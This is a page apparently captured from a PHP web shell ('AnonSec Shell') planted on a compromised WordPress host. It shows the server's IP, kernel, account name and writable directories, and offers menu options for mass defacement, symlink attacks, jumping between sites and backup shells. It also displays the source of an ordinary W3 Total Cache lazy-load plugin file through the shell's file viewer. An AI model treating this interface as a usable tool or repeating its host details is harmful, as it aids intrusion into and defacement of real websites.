. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 198.54.115.242  /  Your IP : 216.73.216.33   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux server233.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : imereohc ( 2529)
PHP Version : 8.2.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/imereohc/test.imera.ai/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/imereohc/test.imera.ai/wp-content/plugins/w3-total-cache/LazyLoad_Plugin.php
<?php
namespace W3TC;



class LazyLoad_Plugin {
	private $config;
	private $modified = false;
	private $excludes;
	private $posts_by_url = array();



	public function __construct() {
		$this->config = Dispatcher::config();
	}



	public function run() {
		Util_Bus::add_ob_callback( 'lazyload', array( $this, 'ob_callback' ) );
		$this->metaslider_hooks();

		add_filter( 'wp_get_attachment_url',
			array( $this, 'wp_get_attachment_url' ), 10, 2 );
	}



	public function ob_callback( $buffer ) {
		if ( $buffer == '' || !\W3TC\Util_Content::is_html_xml( $buffer ) ) {
			return $buffer;
		}

		$can_process = array(
			'enabled' => true,
			'buffer' => $buffer,
			'reason' => null
		);
		$can_process = $this->can_process( $can_process );
		$can_process = apply_filters( 'w3tc_lazyload_can_process', $can_process );
		if ( !$can_process['enabled'] ) {
			return $buffer;
		}

		$this->excludes = apply_filters( 'w3tc_lazyload_excludes',
			$this->config->get_array( 'lazyload.exclude' ) );

		if ( $this->config->get_boolean( 'lazyload.process_img' ) ) {
			$buffer = preg_replace_callback(
				'~(<img[^>]+>)~',
				array( $this, 'tag_with_src' ), $buffer
			);
		}

		if ( $this->config->get_boolean( 'lazyload.process_background' ) ) {
			$buffer = preg_replace_callback(
				'~(<[^>]+background:\s*url[^>]+>)~',
				array( $this, 'tag_with_background' ), $buffer
			);
		}

		// embed lazyload script
		if ( $this->modified ) {
			$buffer = apply_filters( 'w3tc_lazyload_embed_script', $buffer );

			$is_embed_script = apply_filters( 'w3tc_lazyload_is_embed_script', true );
			if ( $is_embed_script ) {
				$buffer = $this->embed_script( $buffer );
			}
		}

		return $buffer;
	}



	private function can_process( $can_process ) {
		if ( defined( 'WP_ADMIN' ) ) {
			$can_process['enabled'] = false;
			$can_process['reason'] = 'WP_ADMIN';

			return $can_process;
		}

		if ( defined( 'SHORTINIT' ) && SHORTINIT ) {
			$can_process['enabled'] = false;
			$can_process['reason'] = 'SHORTINIT';

			return $can_process;
		}

		return $can_process;
	}



	public function tag_with_src( $matches ) {
		$content = $matches[0];

		if ( $this->is_content_excluded( $content ) ) {
			return $content;
		}

		// get image dimensions
		$dim = $this->tag_get_dimensions( $content );

		// do replace
		$count = 0;
		$content = preg_replace( '~(\s)src=~i',
			'$1src="' . $this->placeholder( $dim['w'], $dim['h'] ) .
			'" data-src=', $content, -1, $count );

		if ( $count > 0 ) {
			$content = preg_replace( '~(\s)(srcset|sizes)=~i',
				'$1data-$2=', $content );

			$content = $this->add_class_lazy( $content );
			$this->modified = true;
		}

		return $content;
	}



	public function tag_get_dimensions( $content ) {
		$dim = array( 'w' => 1, 'h' => 1 );
		$m = null;
		if ( preg_match( '~\swidth=[\s\'"]*([0-9]+)~i', $content, $m ) ) {
			$dim['h'] = $dim['w'] = (int)$m[1];

			if ( preg_match( '~\sheight=[\s\'"]*([0-9]+)~i', $content, $m ) ) {
				$dim['h'] = (int)$m[1];
				return $dim;
			}
		}

		// if not in attributes - try to find via url
		if ( !preg_match( '~\ssrc=(\'([^\']*)\'|"([^"]*)"|([^\'"][^\\s]*))~i',
				$content, $m ) ) {
			return $dim;
		}

		$url = ( !empty( $m[4] ) ? $m[4] : ( ( !empty( $m[3] ) ? $m[3] : $m2 ) ) );

		// full url found
		if ( isset( $this->posts_by_url[$url] ) ) {
			$post_id = $this->posts_by_url[$url];

			$image = wp_get_attachment_image_src( $post_id, 'full' );
			if ( $image ) {
				$dim['w'] = $image[1];
				$dim['h'] = $image[2];
			}

			return $dim;
		}

		// try resized url by format
		static $base_url = null;
		if ( is_null( $base_url ) ) {
			$base_url = wp_get_upload_dir()['baseurl'];
		}

		if ( substr( $url, 0, strlen( $base_url ) ) == $base_url &&
				 preg_match( '~(.+)-(\\d+)x(\\d+)(\\.[a-z0-9]+)$~i', $url, $m ) ) {
			$dim['w'] = (int)$m[2];
			$dim['h'] = (int)$m[3];
		}

		return $dim;
	}



	public function tag_with_background( $matches ) {
		$content = $matches[0];

		if ( $this->is_content_excluded( $content ) ) {
			return $content;
		}

		$quote_match = null;
		if ( !preg_match( '~\s+style\s*=\s*([\"\'])~', $content, $quote_match ) ) {
			return $content;
		}
		$quote = $quote_match[1];

		$count = 0;
		$content = preg_replace_callback(
			'~(\s+)(style\s*=\s*[' . $quote . '])(.*?)([' . $quote . '])~',
			array( $this, 'style_offload_background' ), $content, -1, $count
		);

		if ( $count > 0 ) {
			$content = $this->add_class_lazy( $content );
			$this->modified = true;
		}

		return $content;
	}



	public function style_offload_background( $matches ) {
		list( $match, $v1, $v2, $v, $quote ) = $matches;
		$url_match = null;
		preg_match( '~background:\s*(url\([^>]+\))~', $v, $url_match );
		$v = preg_replace( '~background:\s*url\([^>]+\)[;]?\s*~', '', $v );

		return $v1 . $v2 . $v . $quote . ' data-bg=' . $quote . $url_match[1] . $quote;
	}



	private function add_class_lazy( $content ) {
		$count = 0;
		$content = preg_replace_callback(
			'~(\s+)(class=)([\"\'])(.*?)([\"\'])~',
			array( $this, 'class_process' ), $content, -1, $count
		);

		if ( $count <= 0) {
			$content = preg_replace(
				'~<(\S+)(\s+)~', '<$1$2class="lazy" ', $content
			);
		}

		return $content;
	}



	public function class_process( $matches ) {
		list( $match, $v1, $v2, $quote, $v ) = $matches;
		if ( preg_match( '~(^|\\s)lazy($|\\s)~', $v ) ) {
			return $match;
		}

		$v .= ' lazy';

		return $v1 . $v2 . $quote . $v . $quote;
	}


	private function is_content_excluded( $content ) {
		foreach ( $this->excludes as $w ) {
			if ( strpos( $content, $w ) !== FALSE ) {
				return true;
			}
		}

		return false;
	}



	private function placeholder( $w, $h ) {
		return 'data:image/svg+xml,%3Csvg%20xmlns=\'http://www.w3.org/2000/svg\'%20viewBox=\'0%200%20' . $w . '%20'. $h . '\'%3E%3C/svg%3E';
	}



	private function embed_script( $buffer ) {
		$js_url = plugins_url( 'pub/js/lazyload.min.js', W3TC_FILE );
		$method = $this->config->get_string( 'lazyload.embed_method' );

		$fireEvent = 'function(t){var e;try{e=new CustomEvent("w3tc_lazyload_loaded",{detail:{e:t}})}catch(a){(e=document.createEvent("CustomEvent")).initCustomEvent("w3tc_lazyload_loaded",!1,!1,{e:t})}window.dispatchEvent(e)}';
		$config = '{elements_selector:".lazy",callback_loaded:' . $fireEvent . '}';

		if ( $method == 'async_head' ) {
			$embed_script =
				'<script>window.w3tc_lazyload=1,window.lazyLoadOptions=' . $config . '</script>' .
				'<style>img.lazy{min-height:1px}</style>' .
				'<script async src="' . $js_url . '"></script>';

			$buffer = preg_replace( '~<head(\s+[^>]*)*>~Ui',
				'\\0' . $embed_script, $buffer, 1 );

			// add protection to footer if async script executed too early
			$footer_script =
				'<script>' .
				'document.addEventListener("DOMContentLoaded",function() {' .
				'if (typeof LazyLoad !== "undefined") {' .
				'window.w3tc_lazyload=new LazyLoad(window.lazyLoadOptions)' .
				'}})</script>';
			$buffer = preg_replace( '~</body(\s+[^>]*)*>~Ui',
				$footer_script . '\\0', $buffer, 1 );

		} elseif ( $method == 'inline_footer' ) {
			$footer_script =
				'<style>img.lazy{min-height:1px}</style>' .
				'<script>' .
				file_get_contents( W3TC_DIR . '/pub/js/lazyload.min.js' ) .
				'window.w3tc_lazyload=new LazyLoad(' . $config . ')</script>';
			$buffer = preg_replace( '~</body(\s+[^>]*)*>~Ui',
				$footer_script . '\\0', $buffer, 1 );
		} else {   // 'sync_head'
			$head_script =
				'<style>img.lazy{min-height:1px}</style>' .
				'<script src="' . $js_url . '"></script>';
			$buffer = preg_replace( '~<head(\s+[^>]*)*>~Ui',
				'\\0' . $head_script, $buffer, 1 );

			$footer_script =
				'<script>window.w3tc_lazyload=new LazyLoad(' . $config . ')</script>';
			$buffer = preg_replace( '~</body(\s+[^>]*)*>~Ui',
				$footer_script . '\\0', $buffer, 1 );
		}

		return $buffer;
	}



	public function wp_get_attachment_url( $url, $post_id ) {
		$this->posts_by_url[$url] = $post_id;
		return $url;
	}



	private function metaslider_hooks() {
		add_filter( 'metaslider_nivo_slider_get_html',
			array( $this, 'metaslider_nivo_slider_get_html' ) );
	}



	public function metaslider_nivo_slider_get_html( $content ) {
		// nivo slider use "src" attr of <img> tags to populate
		// own image via JS, i.e. cant be replaced by lazyloading
		$content = preg_replace(
			'~(\s+)(class=)([\"\'])(.*?)([\"\'])~',
			'$1$2$3$4 no-lazy$5', $content
		);

		return $content;
	}
}

Anon7 - 2022
AnonSec Team